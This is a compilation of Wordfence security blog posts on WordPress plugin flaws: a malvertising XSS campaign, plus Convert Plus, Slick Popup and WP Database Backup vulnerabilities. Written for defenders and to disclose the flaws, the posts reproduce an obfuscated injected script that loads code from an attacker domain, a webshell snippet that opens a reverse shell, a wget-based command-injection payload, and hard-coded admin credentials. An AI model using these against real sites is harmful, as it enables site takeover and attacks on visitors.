The domain yourservice[.]live is a common source of scripts in this campaign, hosting both redirect and popup scripts. In the unrelated infected site we tested, only the popup code was present, also at /ads.js. The script was nearly identical to the one on yourservice[.]live, with only a few identifiers changed.

Attacks Coming From Web Host Networks

The majority of the XSS injection attempts tracked across this campaign were sent by IP addresses linked to popular hosting providers. With attacks sourced from IPs hosting several live websites, as well as our own evidence of infected sites associated with this campaign, it’s likely the threat actor is using infected sites to deliver XSS attacks by proxy.

In the infected site we had access to, we identified a few PHP shells which would have been capable of performing these attacks. These were fairly common types of webshells, and didn’t feature custom code specifically built to deliver XSS attempts, but could receive arbitrary commands from the attacker to launch the attacks.

if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
  cf('/tmp/angel_bc',$back_connect);
  $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
  cf('/tmp/angel_bc.c',$back_connect_c);
  $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  @unlink('/tmp/angel_bc.c');
  $res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}

For example, the code snippet above was pulled from an obfuscated webshell identified on the infected site. This code creates either a Perl or C file that will attempt to open a reverse shell connection back to the attacker’s machine. The attacker can then use this as a persistent connection to the infected host as long as the port remains open, even if the malicious PHP files have been removed.

Indicators of Compromise (IOCs)

If you’re responsible for the security of a website or network, or are just interested in tracking the campaign yourself, be on the look out for these indicators. Past behavior indicates that any of these indicators can be modified by the attacker at any time.

Domains

  • yourservice[.]live
    • Hosts several JavaScript files responsible for redirects and popup ads in current attacks.
  • app[.]caresearch[.]com[.]au
    • Hosts additional JavaScript used in earlier attacks for redirects.
  • 4ksudckusdkc[.]space
    • Initial redirect destination. Performs another redirect to a new location based on factors like User-Agent.
  • shakesmobi[.]com
    • Possible middleman destination. Users would be redirected here, then sent elsewhere.
  • mobnootiffy[.]com
    • Possible redirect destination. Attempts to trick victims into granting heightened access to their device.
  • mediaoaktree[.]com
    • Hosts code used in popup injections.
  • mediasprucetree[.]com
    • Hosts code used in popup injections.
  • tut-64[.]com
    • Referenced in popup code. Third party sources indicate a relationship with malicious APKs.

Attacking IPs

The following IPs have been linked to incoming attempts to distribute the campaign’s XSS payloads. We’ve included the service provider associated with each IP, as well.

  • 183.90.250.26
    • SAKURA Internet, Inc.
  • 104.130.139.134
    • Rackspace
  • 50.116.64.22
    • Bluehost
  • 45.33.78.213
    • Linode
  • 45.12.32.55
    • INTERNET IT COMPANY INC.

Malware Hashes

Malware files with the following MD5 hashes were identified on the site containing backdoor infections. The presence of these indicators may mean your server is being used to deliver XSS attacks to additional victim sites.

  • 87f66ca0fbedf8ccd1ff6cce56f44e1b
    • File upload script
  • 45916c4f66e63c183ac3a2bebcebc97b
    • Basic web shell
  • 62d6a449408698c4f1c70a721fb3adf5
    • Sophisticated web shell, capable of opening reverse shells
  • 4dac95dc72ebebc0b3bbd1f742d855d7
    • ads.js file, sourced by XSS-injected sites as part of popup campaign
  • a5250a26a4b1aaf4d078c206b0cfb72e
    • PHP file manager. Can upload, download, edit, and delete files on infected host.

Conclusion

In today’s post, we shared details of a malvertising campaign which exploits recently disclosed vulnerabilities in order to perform malicious redirects and display unwanted popup ads on victims’ sites. We believe the attackers are using a small array of compromised sites to perform these attacks in order to conceal the source of their activities.

Wordfence users have been kept protected from these attacks due to robust XSS protection built directly into the Wordfence firewall. This includes both premium and free users. If a future vulnerability isn’t covered by these built-in protections, our team will quickly release a new rule to address it.

This campaign is ongoing. We expect the threat actors will be quick to leverage any similar XSS vulnerabilities that may be disclosed in the near future. Be sure to check your WordPress sites for any available plugin and theme updates frequently. Even if an update’s changelog doesn’t mention a security fix, it’s possible the developer neglected to disclose the nature of the patch.

We will continue to track the behavior of this campaign as time goes on. As always, we’ll provide updates if there is noteworthy intelligence to be shared. In the meantime, please consider sharing this article in order to improve awareness of these attacks.

The post Recent WordPress Vulnerabilities Targeted by Malvertising Campaign appeared first on Wordfence.

Read More

Recent WordPress Vulnerabilities Targeted by Malvertising Campaign

The Defiant Threat Intelligence team has identified a malvertising campaign which is causing victims’ sites to display unwanted popup ads and redirect visitors to malicious destinations, including tech support scams, malicious Android APKs, and sketchy pharmaceutical ads. This type of campaign is far from novel, but these attacks drew our attention.

By targeting a few recently disclosed WordPress plugin vulnerabilities, the attackers inject a JavaScript payload into the front end of a victim’s site. These injections each contain a short script which sources additional code from one or more third-party URLs. That code is executed when a visitor opens the victim website.

When the third party code executes in a visitor’s browser, it performs an initial redirect to a central domain, which then performs another redirect to a new destination based on a number of factors, notably the type of device in use by the redirected user.

The Wordfence firewall’s built-in protections block these malicious code injections for all users of our plugin, including free users.

In today’s post we’ll discuss the scope of this campaign, including the specific code injections used by the attackers as well as some detail regarding the infrastructure behind the redirects.

Recent Attacks Targeting Coming Soon and Maintenance Mode Plugin

In a disclosure last week, NinTechNet disclosed a vulnerability in the Coming Soon and Maintenance Mode plugin for WordPress. In their report, it was revealed that unauthenticated attackers could inject JavaScript payloads into a number of parameters on sites using vulnerable versions of the plugin. Shortly after the disclosure, our team identified a wave of attacks across our network.

<script type=text/javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));</script>

Using input routes intended for custom CSS styling, the attackers attempted to inject obfuscated JavaScript payloads on a large number of sites, which would trigger for any user visiting an affected site.

Decoding this obfuscated script reveals that this code simply points to another URL containing a different JavaScript payload.

eval("var script = document.createElement('script');
script.onload = function() {
};
script.src = 'https://yourservice[.]live/place.js';
document.getElementsByTagName('head')[0].appendChild(script);");

The URL being sourced is one of several we’ve identified associated with this campaign, most of which do the same thing: perform a basic JavaScript redirect to a domain responsible for determining where the traffic should ultimately end up.

window.location.replace('http://4ksudckusdkc[.]space/r?token=47255dfb7dafd771473720052936d2541dceda7a');

When a visitor arrives at that address, which we’ve defanged to prevent accidental clicks, the site responds with a different script based on the User-Agent string associated with the request. A cookie is also set in the redirected browser in order to track repeat users.

The eventual destination sites vary in scope and intent. Some redirects land users on typical illegitimate ads for pharmaceuticals and pornography, while others attempt direct malicious activity against the user’s browser.

Some of the redirect landing pages attempt to social engineer their victims into clicking various page elements.

Earlier Attacks Targeted Other XSS Vulnerabilities

These attacks aren’t the first associated with this malvertising campaign. Several vulnerabilities disclosed over the past few months have been included in the attacker’s attempts to distribute these injections.

The vulnerabilities in question include Yellow Pencil Visual CSS Style Editor <= 7.2.0 – Unauthenticated Arbitrary Options Update, and Blog Designer <= 1.8.10 – Unauthenticated Stored Cross-Site Scripting (XSS).

The Yellow Pencil vulnerability is notable because, in most configurations, an attacker could enable new user registrations with Administrator privileges, leading to takeover of vulnerable sites. Instead of taking the sites over entirely, these attackers seem satisfied with the malvertising campaign by itself.

Campaign Hosting Popup Ad Code On Infected Sites

In addition to the redirects, this campaign includes the ability to inject popup ads into victims’ sites. The JavaScript code responsible for this has been identified on domains directly associated with the attacker, but we’ve also found injections sourcing these scripts from legitimate sites which were themselves infected by the attacker through other means.

function(e, t) {
                if (!e || !u(e, "array")) return;
                for (var n = 0; n < e.length; n++) e[n].addEventListener("mousedown", t, !0)
            }([t, r], c), e = function() {
                var e = r.createElement("script");
                for (var t in e.src = a, n) n.hasOwnProperty(t) && e.setAttribute("data-" + t.replace(/([a-zA-Z])(?=[A-Z])/g, "$1-").toLowerCase(), n[t]);
                i && e.setAttribute("data-loader-data", JSON.stringify(i));
                o.appendChild(e)
            }, "interactive" === r.readyState || "complete" === r.readyState ? e() : r.addEventListener("DOMContentLoaded", e)
    }({
        "domain": "tut-64[.]com",
        "cdnDomain": "mediasprucetree[.]com",
        "promoCdn": "mediaoaktree[.]com",
        "plToken": "b4c9dc3b4613a931cda646a6a5a8bb1185114458",
        "type": "under",
        "ipcSrc": "//mediaoaktree[.]com/pu-placer.js?t=1557247297"
    })
}]);

The file containing the snippet above, a beautified version of the code present at https://yourservice[.]live/ads.js, sources and injects further JavaScript from another domain related to the ad network. Once everything has triggered, the victim’s browser will open a selected address in a new tab the next time they click or tap the page.

The domain yourservice[.]live is a common source of scripts in this campaign, hosting both redirect and popup scripts. In the unrelated infected site we tested, only the popup code was present, also at /ads.js. The script was nearly identical to the one on yourservice[.]live, with only a few identifiers changed.

Attacks Coming From Web Host Networks

The majority of the XSS injection attempts tracked across this campaign were sent by IP addresses linked to popular hosting providers. With attacks sourced from IPs hosting several live websites, as well as our own evidence of infected sites associated with this campaign, it’s likely the threat actor is using infected sites to deliver XSS attacks by proxy.

In the infected site we had access to, we identified a few PHP shells which would have been capable of performing these attacks. These were fairly common types of webshells, and didn’t feature custom code specifically built to deliver XSS attempts, but could receive arbitrary commands from the attacker to launch the attacks.

if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
  cf('/tmp/angel_bc',$back_connect);
  $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
  cf('/tmp/angel_bc.c',$back_connect_c);
  $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  @unlink('/tmp/angel_bc.c');
  $res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}

For example, the code snippet above was pulled from an obfuscated webshell identified on the infected site. This code creates either a Perl or C file that will attempt to open a reverse shell connection back to the attacker’s machine. The attacker can then use this as a persistent connection to the infected host as long as the port remains open, even if the malicious PHP files have been removed.

Indicators of Compromise (IOCs)

If you’re responsible for the security of a website or network, or are just interested in tracking the campaign yourself, be on the look out for these indicators. Past behavior indicates that any of these indicators can be modified by the attacker at any time.

Domains

  • yourservice[.]live
    • Hosts several JavaScript files responsible for redirects and popup ads in current attacks.
  • app[.]caresearch[.]com[.]au
    • Hosts additional JavaScript used in earlier attacks for redirects.
  • 4ksudckusdkc[.]space
    • Initial redirect destination. Performs another redirect to a new location based on factors like User-Agent.
  • shakesmobi[.]com
    • Possible middleman destination. Users would be redirected here, then sent elsewhere.
  • mobnootiffy[.]com
    • Possible redirect destination. Attempts to trick victims into granting heightened access to their device.
  • mediaoaktree[.]com
    • Hosts code used in popup injections.
  • mediasprucetree[.]com
    • Hosts code used in popup injections.
  • tut-64[.]com
    • Referenced in popup code. Third party sources indicate a relationship with malicious APKs.

Attacking IPs

The following IPs have been linked to incoming attempts to distribute the campaign’s XSS payloads. We’ve included the service provider associated with each IP, as well.

  • 183.90.250.26
    • SAKURA Internet, Inc.
  • 104.130.139.134
    • Rackspace
  • 50.116.64.22
    • Bluehost
  • 45.33.78.213
    • Linode
  • 45.12.32.55
    • INTERNET IT COMPANY INC.

Malware Hashes

Malware files with the following MD5 hashes were identified on the site containing backdoor infections. The presence of these indicators may mean your server is being used to deliver XSS attacks to additional victim sites.

  • 87f66ca0fbedf8ccd1ff6cce56f44e1b
    • File upload script
  • 45916c4f66e63c183ac3a2bebcebc97b
    • Basic web shell
  • 62d6a449408698c4f1c70a721fb3adf5
    • Sophisticated web shell, capable of opening reverse shells
  • 4dac95dc72ebebc0b3bbd1f742d855d7
    • ads.js file, sourced by XSS-injected sites as part of popup campaign
  • a5250a26a4b1aaf4d078c206b0cfb72e
    • PHP file manager. Can upload, download, edit, and delete files on infected host.

Conclusion

In today’s post, we shared details of a malvertising campaign which exploits recently disclosed vulnerabilities in order to perform malicious redirects and display unwanted popup ads on victims’ sites. We believe the attackers are using a small array of compromised sites to perform these attacks in order to conceal the source of their activities.

Wordfence users have been kept protected from these attacks due to robust XSS protection built directly into the Wordfence firewall. This includes both premium and free users. If a future vulnerability isn’t covered by these built-in protections, our team will quickly release a new rule to address it.

This campaign is ongoing. We expect the threat actors will be quick to leverage any similar XSS vulnerabilities that may be disclosed in the near future. Be sure to check your WordPress sites for any available plugin and theme updates frequently. Even if an update’s changelog doesn’t mention a security fix, it’s possible the developer neglected to disclose the nature of the patch.

We will continue to track the behavior of this campaign as time goes on. As always, we’ll provide updates if there is noteworthy intelligence to be shared. In the meantime, please consider sharing this article in order to improve awareness of these attacks.

The post Recent WordPress Vulnerabilities Targeted by Malvertising Campaign appeared first on Wordfence.

Read More

Critical Vulnerability Patched in Popular Convert Plus Plugin

Description: Unauthenticated Administrator Creation
CVSS v3.0 Score: 10.0 (Critical)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected Plugin: Convert Plus
Plugin Slug: convertplug
Affected Versions: <= 3.4.2
Patched Version: 3.4.3

On Friday May 24th, our Threat Intelligence team identified a vulnerability present in Convert Plus, a commercial WordPress plugin with an estimated 100,000 active installs. This flaw allowed unauthenticated attackers to register new accounts with arbitrary user roles, up to and including Administrator accounts. We disclosed this issue privately to the plugin’s development team, who released a patch just a few days later.

Convert Plus (formerly convertplug) versions up to 3.4.2 are vulnerable to attacks against this flaw. All Convert Plus users should update to version 3.4.3 immediately, as this is a critical security issue. We have released a firewall rule to protect Wordfence Premium users who may not be able to update yet, but we still recommend installing the patch. Free users will receive the new rule after thirty days.

Vulnerability In Detail

Convert Plus is a lead generation plugin used to display marketing popups, info bars, and other elements to a site’s visitors with various calls-to-action like email subscription and coupon codes. When setting up a form for handling new subscribers, administrators can define a WordPress user role to be associated with the email address provided. By default this value is None and no user is created, but the site’s owner can have these forms create new Subscriber accounts, or any other role they’d like. The exception is the Administrator role: the plugin removes it from the list of available roles when generating the dropdown menu.

global $wp_roles;
$roles    = $wp_roles->get_names();
$user_arr = array();
foreach ( $roles as $rkey => $rvalue ) {
	$user_arr [ $rvalue ] = $rvalue;
}
$first_item = array( 'None' );
$new_arr    = $user_arr;
unset( $new_arr['Administrator'] );
$new_arr = $first_item + $new_arr;

However, in vulnerable versions of the plugin, this intended user role wasn’t fetched from the database on submission. Instead, this setting was reflected in a hidden field on the plugin’s forms called cp_set_user. Because this value is supplied by the same HTTP request as the rest of the subscription entry, it can be modified by the user.

// Add subscriber as new user role to site.
$new_role = isset( $_POST['cp_set_user'] ) ? $_POST['cp_set_user'] : 'None';

if ( 'success' === $status && ! $only_conversion ) {

	if ( '1' === $sub_optin || 1 === $sub_optin ) {
		$list_name  = str_replace( 'cp_connects_', '', $data_option );
		$list_name  = str_replace( '_', ' ', $list_name );
		$page_url   = isset( $cp_settings['cp-page-url'] ) ? $cp_settings['cp-email-body'] : '';
		$style_name = isset( $_POST['cp_module_name'] ) ? esc_attr( $_POST['cp_module_name'] ) : '';
		cp_notify_sub_to_admin( $list_name, $param, $sub_email, $email_sub, $email_body, $cp_page_url, $style_name );
	}
	if ( '' !== $new_role && ( 'None' !== $new_role && 'none' !== $new_role ) ) {
		cp_add_new_user_role( $param, $new_role );
	}
}

This code calls the plugin’s function cp_add_new_user_role with the role provided in the AJAX request, which then handles the process of creating the user as directed.

Since no filtering is applied when this new subscription is processed, if an attacker submits a subscription form and changes the value of cp_set_user to “administrator”, the plugin will create an administrator user associated with the given email address. The new account is given a randomized password, but the attacker can issue a typical password reset to gain access to their rogue administrator account.

Video Demonstration

Convert Plus Plugin Vulnerability Exploit Demonstration from Wordfence on Vimeo.

Disclosure Timeline

  • May 24 – Vulnerability discovered. Notified developers privately.
  • May 28 – Patch released by developers. Firewall rule released for Premium users.
  • June 27 – Planned date for firewall rule’s release to Free users.

Well-Handled Response

Vulnerability disclosures are an unfortunate necessity, and it’s important that they’re handled appropriately by all parties involved. In recent disclosures, we’ve seen a variety of responses from the developers we’ve reached out to. For example, in January we received no response at all from a disclosure regarding the Total Donations plugin. More recently was this week’s Slick Popup vulnerability, which had been acknowledged by the developers but remains unpatched.

Conversely, the response from Convert Plus’s team was an excellent example of how to handle a vulnerability disclosure. They responded quickly to our contact, and issued a patch for the flaw within just a few days. Once the patch went live, they published their own blog post alerting their users that an important update was available. They even highlighted the update on the plugin’s CodeCanyon page.

Convert Plus’s CodeCanyon page, featuring an alert regarding the security release.

Conclusion

In this post we shared details of a critical security flaw recently patched in the popular Convert Plus plugin for WordPress. This vulnerability has been patched as of version 3.4.3 of the plugin, and it’s crucial that all affected users patch as soon as possible. We have released a firewall rule which prevents exploits against Wordfence Premium users, which will be available to free users on June 27th.

As always, we will monitor our network for activity associated with this flaw and will update you with any noteworthy campaigns we identify.

The post Critical Vulnerability Patched in Popular Convert Plus Plugin appeared first on Wordfence.

Read More

Privilege Escalation Flaw Present In Slick Popup Plugin

In April, our Threat Intelligence team identified a privilege escalation flaw present in the latest version of Slick Popup, a WordPress plugin with approximately 7,000 active installs. We notified the developers, a firm called Om Ak Solutions, who acknowledged the issue and informed us that a patch would be released.

Per our disclosure policy, we allowed 30 days for resolution of this issue before releasing details to the public. Unfortunately, the deadline has passed without a satisfactory patch by the plugin’s developers. At this time, all version of Slick Popup up to 1.7.1 are vulnerable.

In this post we’ll look at the vulnerability in question and what you should do if you’re making use of the plugin.

Subscriber+ Privilege Escalation Flaw In Support Access Feature

One feature of Slick Popup is the ability to grant support access to the plugin’s developers, Om Ak Solutions, with one click in the dashboard. This generates a new administrator account and sends an email to Om Ak Solutions with details. Two issues in this process combine to create the privilege escalation vulnerability in question.

// ADD NEW ADMIN USER TO WORDPRESS
// ----------------------------------
// Put this file in your WordPress root directory and run it from your browser.
// Delete it when you're done.
//require_once(ABSPATH . 'wp-blog-header.php');
//require_once(ABSPATH . 'wp-includes/registration.php');
// ----------------------------------------------------
// CONFIG VARIABLES
// Make sure that you set these before running the file.
$newusername = 'slickpopupteam';
$newpassword = 'OmakPass13#';
$newemail = 'poke@slickpopup.com';
// ----------------------------------------------------
// This is just a security precaution, to make sure the above "Config Variables" 
// have been changed from their default values.
if ( $newpassword != 'YOURPASSWORD' &&
	 $newemail != 'YOUREMAIL@TEST.com' &&
	 $newusername !='YOURUSERNAME' )
{
	// Check that user doesn't already exist
	if ( !username_exists($newusername) && !email_exists($newemail) )
	{
		// Create user and set role to administrator
		$user_id = wp_create_user( $newusername, $newpassword, $newemail);
		if ( is_int($user_id) )
		{
			$wp_user_object = new WP_User($user_id);
			$wp_user_object->set_role('administrator');

First, the credentials associated with this new administrative account are hard-coded into the plugin. When the user is created, it will have the username slickpopupteam and its password is OmakPass13#. Since this is a known value in all cases, it’s possible for malicious actors to assemble a list of sites making use of the plugin and occasionally test for the presence of this support user. Once logged in, they’re free to create other backdoors independent of this user.

add_action( 'wp_ajax_action_splite_support_access', 'action_splite_support_access' );
function action_splite_support_access() {
	$ajaxy = array(); 
	$errors = array(); 
	
	$todo = (isset($_POST['todo']) AND !empty($_POST['todo'])) ? $_POST['todo'] : 'createuser'; 

However, attackers with at least Subscriber access to an affected site can create this user on their own. Since the AJAX action used to generate this user doesn’t contain any capabilities checks, it can be accessed by any logged-in user. This, combined with the hard-coded credentials in the plugin, means any user with an account can grant themselves administrative access and take over a site.

During our research we identified that the user creation script used by this plugin is somewhat popular, and can be found in several GitHub gists like this one. We searched the WordPress.org plugin repository for other uses of this script and found another one of Om Ak Solution’s plugins, Contact Form 7 Spam Blocker. We included this additional plugin in our report to the developer.

Private Disclosure Timeline

  • April 22 – Vulnerability disclosed to Om Ak Solutions.
  • April 25 – WAF rule released to protect Wordfence Premium users from attacks on this flaw.
  • April 27 – Developer acknowledges issue and states a patch will be released
  • May 14 – Slick Popup version 1.7.1 released – issue unresolved in this patch.
  • May 22 – Public disclosure deadline.
  • May 25 – WAF rule released for free users.

Shortly before the writing of this article, a representative of Om Ak Solutions claimed a patch has been released for the Pro version of Slick Popup and that a patch for the free version is in progress. The reported patch of the Pro version has not been tested by the Wordfence team at this time.

Next Steps

As mentioned above, Slick Popup versions up to and including 1.7.1 are vulnerable. It is our recommendation that users of the plugin deactivate or delete the plugin until a patch is available.

However, it’s possible to deactivate the vulnerable Support Access feature on current versions of the plugin without affecting the rest of the plugin’s functionality. Doing this requires making a small change to the plugin’s files, and you should note a few things beforehand:

  • This will break the plugin’s ability to grant support access to Om Ak Solutions.
  • Any updates to the plugin will overwrite this change and reactivate the feature.
  • This will not remove an existing slickpopupteam user, legitimate or otherwise. That will need to be done manually if one is present.
  • We cannot provide support for implementing this short-term fix, nor can we assist with other issues that may arise during the process.

To prevent the creation of these users, all you need to do is comment out the line where the action_splite_support_access AJAX action is registered. In the latest version of the plugin, this is on line 523 of the file /libs/admin-pages.php.

Before:

add_action( 'wp_ajax_action_splite_support_access', 'action_splite_support_access' );

After:

//add_action( 'wp_ajax_action_splite_support_access', 'action_splite_support_access' );

Conclusion

In this post, we detailed an unpatched privilege escalation flaw in the Slick Popup plugin which allows subscribers to gain administrative access to an affected WordPress site. Because of the relatively small userbase of the plugin, and the authentication necessary to exploit it, we do not anticipate widespread attack campaigns leveraging this vulnerability. A Firewall rule to protect against attempts to exploit this vulnerability was released on April 25th and is currently available for sites running Wordfence Premium as well as the free version.

The post Privilege Escalation Flaw Present In Slick Popup Plugin appeared first on Wordfence.

Read More

OS Command Injection Vulnerability Patched In WP Database Backup Plugin

Toward the end of April, an unnamed security researcher published details of an unpatched vulnerability in WP Database Backup, a WordPress plugin with over 70,000 users. The vulnerability, which was irresponsibly disclosed to the public before attempting to notify the plugin’s developers, was reported as a plugin configuration change flaw. A proof of concept (PoC) exploit was provided which allowed unauthenticated attackers to modify the destination email address for database backups, potentially putting sensitive information in their hands.

Upon further review by our Threat Intelligence team, we determined the scope of this flaw was more severe in reality. In unpatched versions of WP Database Backup, an attacker is able to inject operating system (OS) commands arbitrarily, which are then executed when the plugin performs a database backup. Injected commands would persist until manually removed, executing each time a backup is run.

We immediately notified the plugin’s developer of this issue and deployed a new firewall rule to prevent Wordfence users from exploitation of these vulnerabilities. The vulnerabilities have been patched as of version 5.2 of WP Database Backup.

Plugin Configuration Change Vulnerability

The originally disclosed vulnerability present in WP Database Backup allows an attacker to modify a limited selection of the plugin’s internal settings. These settings were vulnerable due to inconsistencies in the way security features were added to the code–in some cases, a capabilities check would be performed or a CSRF nonce would be required, but other cases weren’t protected by these efforts.

In particular, a nonce check was required when the wp-database-backup page of a site’s admin dashboard was accessed. Unfortunately, the function used by the plugin to check for and perform settings changes was hooked into admin_init, not tied to the plugin’s own page in the dashboard. The vulnerable code would still execute on any other page under /wp-admin, allowing the nonce check to be bypassed.

if (isset($_POST['wpsetting'])) {
    if (isset($_POST['wp_local_db_backup_count'])) {
        update_option('wp_local_db_backup_count', esc_attr(sanitize_text_field($_POST['wp_local_db_backup_count'])));
    }
    if (isset($_POST['wp_db_log'])) {
        update_option('wp_db_log', 1);
    } else {
        update_option('wp_db_log', 0);
    }
    if (isset($_POST['wp_db_remove_local_backup'])) {
        update_option('wp_db_remove_local_backup', 1);
    } else {
        update_option('wp_db_remove_local_backup', 0);
    }

    if (isset($_POST['wp_db_backup_enable_htaccess'])) {
        update_option('wp_db_backup_enable_htaccess', 1);
    } else {
        update_option('wp_db_backup_enable_htaccess', 0);
        $path_info = wp_upload_dir();
        @unlink($path_info['basedir'] . '/db-backup/.htaccess');
    }


    if (isset($_POST['wp_db_exclude_table'])) {
        update_option('wp_db_exclude_table', $_POST['wp_db_exclude_table']);
    } else {
        update_option('wp_db_exclude_table', '');
    }
}
if (isset($_POST['wp_db_backup_email_id'])) {

    update_option('wp_db_backup_email_id', esc_attr(sanitize_text_field($_POST['wp_db_backup_email_id'])));
}
if (isset($_POST['wp_db_backup_email_attachment'])) {
    $email_attachment = sanitize_text_field($_POST['wp_db_backup_email_attachment']);
    update_option('wp_db_backup_email_attachment',esc_attr($email_attachment));
}
if (isset($_POST['Submit']) && $_POST['Submit'] == 'Save Settings') {
    if (isset($_POST['wp_db_backup_destination_Email'])) {
        update_option('wp_db_backup_destination_Email', 1);
    } else {
        update_option('wp_db_backup_destination_Email', 0);
    }
}

The entire code block above would run without any security checks on any admin-facing page other than the plugin’s own settings page. Since endpoints like /wp-admin/admin-post.php will trigger admin_init and return true for is_admin for unauthenticated users, an attacker can exploit this code without logging in. The original report drew attention to the email settings, which can be toggled for the plugin to send database backup files via email to a given address. In vulnerable versions, this can be switched on and pointed to an attacker-controlled address to obtain sensitive information from the site’s database.

OS Command Injection in Excluded Table Settings

One of the features in WP Database Backup allows users to define tables to be excluded from backups. These excluded tables are stored as an array, which is accessed when a new backup is performed.

public function mysqldump($SQLfilename)
{

    $this->mysqldump_method = 'mysqldump';

    //$this->do_action( 'mysqldump_started' );

    $host = explode(':', DB_HOST);

    $host = reset($host);
    $port = strpos(DB_HOST, ':') ? end(explode(':', DB_HOST)) : '';

    // Path to the mysqldump executable
    $cmd = escapeshellarg($this->get_mysqldump_command_path());

    // We don't want to create a new DB
    $cmd .= ' --no-create-db';

    // Allow lock-tables to be overridden
    if (!defined('WPDB_MYSQLDUMP_SINGLE_TRANSACTION') || WPDB_MYSQLDUMP_SINGLE_TRANSACTION !== false)
        $cmd .= ' --single-transaction';

    // Make sure binary data is exported properly
    $cmd .= ' --hex-blob';

    // Username
    $cmd .= ' -u ' . escapeshellarg(DB_USER);

    // Don't pass the password if it's blank
    if (DB_PASSWORD)
        $cmd .= ' -p' . escapeshellarg(DB_PASSWORD);

    // Set the host
    $cmd .= ' -h ' . escapeshellarg($host);

    // Set the port if it was set
    if (!empty($port) && is_numeric($port))
        $cmd .= ' -P ' . $port;

    // The file we're saving too
    $cmd .= ' -r ' . escapeshellarg($SQLfilename);

    $wp_db_exclude_table = array();
    $wp_db_exclude_table = get_option('wp_db_exclude_table');
    if (!empty($wp_db_exclude_table)) {
        foreach ($wp_db_exclude_table as $wp_db_exclude_table) {
            $cmd .= ' --ignore-table=' . DB_NAME . '.' . $wp_db_exclude_table;
            // error_log(DB_NAME.'.'.$wp_db_exclude_table);
        }
    }

    // The database we're dumping
    $cmd .= ' ' . escapeshellarg(DB_NAME);

    // Pipe STDERR to STDOUT
    $cmd .= ' 2>&1';
    // Store any returned data in an error
    
    $stderr = shell_exec($cmd);

    // Skip the new password warning that is output in mysql > 5.6
    if (trim($stderr) === 'Warning: Using a password on the command line interface can be insecure.') {
        $stderr = '';
    }

    if ($stderr) {
        $this->error($this->get_mysqldump_method(), $stderr);
        error_log($stderr);
    }

    return $this->verify_mysqldump($SQLfilename);
}

The backups themselves are performed by building a mysqldump command to be executed via shell_exec. The plugin uses its own settings and the site’s database credentials to assemble the full command, including the array of excluded tables.

$wp_db_exclude_table = array();
$wp_db_exclude_table = get_option('wp_db_exclude_table');
if (!empty($wp_db_exclude_table)) {
    foreach ($wp_db_exclude_table as $wp_db_exclude_table) {
        $cmd .= ' --ignore-table=' . DB_NAME . '.' . $wp_db_exclude_table;
        // error_log(DB_NAME.'.'.$wp_db_exclude_table);
    }
}

As seen in the relevant snippet above, the array of excluded tables is iterated over to append --ignore-table= arguments to the final mysqldump command. However, since these values are inserted directly into an OS command without sanitization, and an attacker can modify the values of this array by exploiting the configuration change vulnerability above, this can be abused to execute arbitrary commands on the site’s host server.

The simplest way to demonstrate this flaw is via a basic Bash subshell. If, for instance, an attacker has defined the value $(wget evildomain.com/shell.txt -O shell.php) as an “excluded table”, then the commands within the parentheses will be executed before the actual mysqldump command (which will most likely fail, since the returned value from the subshell would be invalid for an --ignore-table argument). In this example, a malicious PHP shell would be pulled down from the attacker’s site and stored as “shell.php” on the victim’s server. This would happen every time a backup was performed with the plugin, either manually or scheduled, until the site’s owner reset the excluded table configuration.

Disclosure Timeline

  • April 24 – Original public disclosure of configuration change flaw. Wordfence identifies OS command injection flaw and reaches out to developer.
  • April 25 – Wordfence releases firewall rule to Premium users to prevent exploitation of both flaws.
  • April 27 – Developer acknowledges issue.
  • April 30 – Patch released
  • May 25 – Firewall rule released for free users.

Conclusion

In today’s post, we detailed a previously undisclosed OS command injection flaw present in the WP Database Backup plugin. This flaw has been patched as of version 5.2 and we recommend affected users ensure they’ve updated to the latest available version. Sites running Wordfence Premium have been protected from exploitation of these flaws since April 24th. Sites running the free version received the firewall rule update on May 25th.

The post OS Command Injection Vulnerability Patched In WP Database Backup Plugin appeared first on Wordfence.

Read More

Unauthenticated Media Deletion Vulnerability Patched In WooCommerce Checkout Manager Plugin

Earlier this week, a security update was released for the WooCommerce Checkout Manager plugin for WordPress. This update fixes two distinct vulnerabilities: an arbitrary file upload flaw present in certain configurations, and a flaw allowing attackers to delete media files from affected sites. The plugin’s users are advised to install the latest available version (4.3 at the time of this writing) as soon as possible to prevent exploitation of the flaws patched in this update.

The file upload vulnerability was initially made public in a report by an unnamed security researcher, which was irresponsibly published on April 23rd without privately notifying the plugin’s author. In the process of verifying the report, our team identified an additional media deletion flaw which needed to be patched. We reached out to the plugin’s developer the same day to begin the disclosure process, and have deployed a firewall rule to protect our users from these exploits.

In this post we’ll be sharing details regarding both of these flaws, with particular focus on the media deletion flaw which has yet to be reported.

Conditional Arbitrary File Upload

